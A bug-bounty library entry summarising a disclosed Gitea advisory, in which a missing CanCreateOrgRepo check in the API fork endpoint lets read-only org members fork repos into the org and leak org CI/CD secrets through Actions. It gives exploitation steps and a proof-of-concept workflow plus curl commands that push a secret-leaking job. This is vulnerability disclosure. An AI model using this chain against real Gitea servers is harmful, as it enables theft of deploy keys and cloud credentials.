# Gitea: API Fork Missing CanCreateOrgRepo Check Allows Org Secret Exfiltration

Gitea API fork endpoint skipped CanCreateOrgRepo check, letting read-only org members fork repos into the org and exfiltrate org-level CI/CD secrets via Actions.

- Payout: Research
- Severity: high
- Program: Gitea
- Found by (vendor credit): andrejtomci
- Found by: andrejtomci
- Disclosed: 2026-06-17
- CVE: CVE-2026-22555
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-fhx7-m96w-mv29
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-fhx7-m96w-mv29
- Tags: area:web domain:api domain:web impact:data-leak impact:privesc kind:research platform:ghsa sev:high tech:ci-cd tech:go technique:chained technique:source-review vuln:access-control vuln:auth-bypass vuln:secrets-leak

**Target:** POST /api/v1/repos/{owner}/{repo}/forks API endpoint
**Root cause:** The API fork handler only checks IsOrgMember() when forking into an organization, omitting the CanCreateOrgRepo() check that the web UI fork handler enforces, so users in teams with can_create_org_repo=false can still create org-owned repos.
**Steps:**
1. Deploy Gitea 1.23 with Actions enabled; create admin, attacker user, org `target-org`, source repo, and a read-only team with `can_create_org_repo:false` containing attacker.
2. Add org secrets via `PUT /api/v1/orgs/target-org/actions/secrets/DEPLOY_KEY` etc., and register an act_runner.
3. Confirm attacker gets 403 on `POST /api/v1/orgs/target-org/repos` and on `GET /api/v1/orgs/target-org/actions/secrets`.
4. Bypass: `POST /api/v1/repos/target-org/source-repo/forks` with `{"organization":"target-org","name":"evil-fork"}` — succeeds, attacker gets admin=True on the fork.
5. `PATCH /api/v1/repos/target-org/evil-fork` with `{"has_actions":true}`, then push `.gitea/workflows/steal.yml` referencing `${{ secrets.DEPLOY_KEY }}` etc. via contents API.
6. Runner executes job; org secrets injected because runner matches on `repository.owner_id` and secrets fetched by `Repo.OwnerID`; logs reveal secret values.
**How found:** Compared the API fork handler against the web UI fork handler and noticed the web path checks both IsOrgMember() and CanCreateOrgRepo() while the API path only checks IsOrgMember(); then traced runner task assignment (owner_id) and secret injection (Repo.OwnerID) to build the exfiltration chain.
**Exploitation:** A read-only org member forks an existing org repo back into the same org via the API, gaining admin on the fork as creator. They enable Actions, push a workflow referencing org secrets, and the org's runner executes it with org-level secrets injected, exfiltrating deploy keys, cloud credentials and tokens to an attacker endpoint.
**Escalation:** Chained missing authz check → org repo creation → admin on fork → Actions enablement → org secret injection via owner_id matching, escalating from read-only membership to full org CI/CD credential theft and supply-chain code injection under the trusted namespace.
**Insight:** When auditing fork/clone/transfer endpoints, diff the API handler against the web handler for the same action — permission checks like CanCreateOrgRepo are frequently present in one and missing in the other; then check whether the created resource inherits owner-scoped secrets (CI runners matching on owner_id) to turn a minor authz gap into credential theft.

## Proof of concept (copied exactly from the original report)

**Push workflow referencing org secrets**

```
WORKFLOW=$(cat << 'WFEOF'
name: exfiltrate
on: [push]
jobs:
  steal:
    runs-on: ubuntu-latest
    steps:
      - name: Leak org secrets
        env:
          DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}
          AWS_ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY }}
          AWS_SECRET_KEY: ${{ secrets.AWS_SECRET_KEY }}
        run: |
          echo "=== SECRET EXFILTRATION ==="
          echo "DEPLOY_KEY length: ${#DEPLOY_KEY}"
          echo "AWS_ACCESS_KEY length: ${#AWS_ACCESS_KEY}"
          echo "AWS_SECRET_KEY length: ${#AWS_SECRET_KEY}"
          echo "DEPLOY_KEY prefix: ${DEPLOY_KEY:0:4}..."
          echo "AWS_ACCESS_KEY prefix: ${AWS_ACCESS_KEY:0:4}..."
          echo "AWS_SECRET_KEY prefix: ${AWS_SECRET_KEY:0:4}..."
          echo "=== END EXFILTRATION ==="
WFEOF
)

curl -s -X POST \
  "http://localhost:3000/api/v1/repos/target-org/evil-fork/contents/.gitea/workflows/steal.yml" \
  -H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
  -d "{\"content\":\"$(echo -n "$WORKFLOW" | base64 -w0)\",\"message\":\"add CI\"}"
```

**Setup read-only team with can_create_org_repo=false**

```
TEAM_ID=$(curl -s -X POST "http://localhost:3000/api/v1/orgs/target-org/teams" \
  -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"readonly-team","permission":"read","can_create_org_repo":false,"units":["repo.code","repo.issues"]}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")
```

